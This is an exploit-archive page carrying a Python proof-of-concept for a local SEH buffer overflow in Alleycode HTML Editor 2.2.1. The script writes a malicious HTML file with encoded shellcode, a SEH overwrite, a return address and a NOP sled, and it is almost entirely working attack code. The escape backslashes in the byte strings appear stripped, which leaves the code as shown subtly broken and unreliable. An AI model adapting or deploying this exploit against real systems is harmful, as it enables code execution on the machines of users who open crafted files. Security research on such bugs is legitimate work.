[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Alleycode HTML Editor 2.2.1 BoF
# Published : 2009-10-29
# Author : Dr_IDE
# Previous Title : Linux Kernel 2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation
# Next Title : Adobe Photoshop Elements Active File Monitor Service Local Privilege Escalation 


#!/usr/bin/env python

####################################################################
#
# Alleycode HTML Editor 2.21 Local (.HTML) Overflow Exploit (SEH)
# Coded By:	Dr_IDE
# Found By:	Rafael de Sousa
# Tested On:	XPSP0 (SP3 doesn't have any usable P/P/R)
# Download:	www.alleycode.com
#
####################################################################

# calc.exe - 303 bytes
# Encoder - alpha/upper
# EXITFUNC - SEH
sc = (
"x89xe1xd9xeexd9x71xf4x58x50x59x49x49x49x49"
"x43x43x43x43x43x43x51x5ax56x54x58x33x30x56"
"x58x34x41x50x30x41x33x48x48x30x41x30x30x41"
"x42x41x41x42x54x41x41x51x32x41x42x32x42x42"
"x30x42x42x58x50x38x41x43x4ax4ax49x4bx4cx4a"
"x48x47x34x43x30x45x50x45x50x4cx4bx51x55x47"
"x4cx4cx4bx43x4cx45x55x42x58x45x51x4ax4fx4c"
"x4bx50x4fx45x48x4cx4bx51x4fx51x30x43x31x4a"
"x4bx51x59x4cx4bx50x34x4cx4bx43x31x4ax4ex46"
"x51x49x50x4cx59x4ex4cx4dx54x49x50x42x54x45"
"x57x49x51x49x5ax44x4dx43x31x48x42x4ax4bx4c"
"x34x47x4bx50x54x47x54x45x54x43x45x4bx55x4c"
"x4bx51x4fx47x54x45x51x4ax4bx45x36x4cx4bx44"
"x4cx50x4bx4cx4bx51x4fx45x4cx43x31x4ax4bx4c"
"x4bx45x4cx4cx4bx45x51x4ax4bx4cx49x51x4cx46"
"x44x44x44x48x43x51x4fx50x31x4ax56x45x30x50"
"x56x42x44x4cx4bx51x56x50x30x4cx4bx51x50x44"
"x4cx4cx4bx44x30x45x4cx4ex4dx4cx4bx43x58x45"
"x58x4bx39x4ax58x4dx53x49x50x42x4ax50x50x43"
"x58x4ax50x4dx5ax44x44x51x4fx45x38x4ax38x4b"
"x4ex4cx4ax44x4ex50x57x4bx4fx4dx37x42x43x43"
"x51x42x4cx42x43x43x30x41x41");

head = ("<html>n<title>");		# Don't touch the html stuff.
buff = ("@" * 504);			# Overwrite SEH Pointer
nseh = ("xEBx64x90x90");    	# Need to pass some garbage in stack
retn = ("x0Ex03xEBx77");		# P/P/R Kernel32.dll XPSP0
nops = ("x90" * 116);			# SLIIIIIIIIIIIIIIIIIIIIIIIIIIIIIDE!
junk = ("x40" * (688 - len(sc)));	# Looks like 688 bytes for Shellcode
foot = ("</title>n<body>Calculator goes BOOM!</body>n</html>n");

sploit = (head + buff + nseh + retn + nops + sc + junk + foot);

try:
	print ("nn#######################################################");
	print ("# Alleycode HTML Editor 2.21 Local HTML Buffer Overflow");
	print ("# By: Dr_IDE");
	print ("# pocoftheday.blogspot.com");
	print ("#######################################################n");
	print ("[*] Writing evil HTML file.");
	f1 = open("Dr_IDEs_Evil_Homepage.html","w");
	f1.write(sploit);
	f1.close();
	print ('[*] Success. Load File and Click "Tools -> Optimizer".');

except:
	print ("[-] Error, could not write the file.");